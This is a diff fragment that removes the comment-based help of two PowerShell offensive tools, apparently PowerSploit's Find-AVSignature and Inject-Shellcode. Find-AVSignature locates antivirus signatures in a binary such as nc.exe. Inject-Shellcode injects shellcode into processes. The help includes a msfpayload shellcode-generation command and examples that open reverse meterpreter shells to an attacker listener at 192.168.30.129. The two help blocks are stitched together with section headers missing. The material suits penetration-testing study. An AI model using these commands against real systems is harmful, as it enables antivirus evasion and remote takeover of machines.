-.SYNOPSIS
-
- Find-AVSignature
-
- Locates single Byte AV signatures utilizing the same method as DSplit from "class101" on heapoverflow.com
-
- Authors: Chris Campbell (@obscuresec) & Matt Graeber (@mattifestation)
- License: BSD 3-Clause
-
-.DESCRIPTION
-
- A script to locate tiny AV signatures.
-
-.PARAMETER Startbyte
-
- Specifies the first byte to begin splitting on.
-
-.PARAMETER Endbyte
-
- Specifies the last byte to split on.
-
-.PARAMETER Interval
-
- Specifies the interval size to split with.
-
-.PARAMETER Path
-
- Specifies the path to the binary you want tested.
-
-.PARAMETER OutPath
-
- Optionally specifies the directory to write the binaries to.
-
-.PARAMETER Force
-
- Forces the script to continue without confirmation.
-
-.EXAMPLE
-
- PS C:\> Find-AVSignature -Startbyte 0 -Endbyte max -Interval 10000 -Path c:\test\exempt\nc.exe
- PS C:\> Find-AVSignature -StartByte 10000 -EndByte 20000 -Interval 1000 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run2 -Verbose
- PS C:\> Find-AVSignature -StartByte 16000 -EndByte 17000 -Interval 100 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run3 -Verbose
- PS C:\> Find-AVSignature -StartByte 16800 -EndByte 16900 -Interval 10 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run4 -Verbose
- PS C:\> Find-AVSignature -StartByte 16890 -EndByte 16900 -Interval 1 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run5 -Verbose

-.DESCRIPTION
-
- Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
-
- PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
-
- msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
-
- Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
-
-.PARAMETER ProcessID
-
- Process ID of the process you want to inject shellcode into.
-
-.PARAMETER Shellcode
-
- Specifies an optional shellcode passed in as a byte array
-
-.PARAMETER ListMetasploitPayloads
-
- Lists all of the available Metasploit payloads that Inject-Shellcode supports
-
-.PARAMETER Lhost
-
- Specifies the IP address of the attack machine waiting to receive the reverse shell
-
-.PARAMETER Lport
-
- Specifies the port of the attack machine waiting to receive the reverse shell
-
-.PARAMETER Payload
-
- Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported.
-
-.PARAMETER UserAgent
-
- Optionally specifies the user agent to use when using meterpreter http or https payloads
-
-.PARAMETER Force
-
- Injects shellcode without prompting for confirmation. By default, Inject-Shellcode prompts for confirmation before performing any malicious act.

-
- Description
- -----------
- Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up
- with the following options:
-
- Payload options (windows/meterpreter/reverse_https):
-
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- EXITFUNC thread yes Exit technique: seh, thread, process, none
- LHOST 192.168.30.129 yes The local listener hostname
- LPORT 443 yes The local listener port
-
-.EXAMPLE
-
- C:\PS> Inject-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80
-
- Description
- -----------
- Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up
- with the following options:
-
- Payload options (windows/meterpreter/reverse_http):
-
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- EXITFUNC thread yes Exit technique: seh, thread, process, none
- LHOST 192.168.30.129 yes The local listener hostname
- LPORT 80 yes The local listener port
-
-.EXAMPLE
-
- C:\PS> Inject-Shellcode -Shellcode @(0x90,0x90,0xC3)
-
- Description
- -----------
- Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
- Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
-
-.EXAMPLE
-
- C:\PS> Inject-Shellcode -ListMetasploitPayloads
-
- Payloads
- --------
- windows/meterpreter/reverse_http
- windows/meterpreter/reverse_https
-
-.NOTES
-
- Use the '-Verbose' option to print detailed information.
-
- Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter
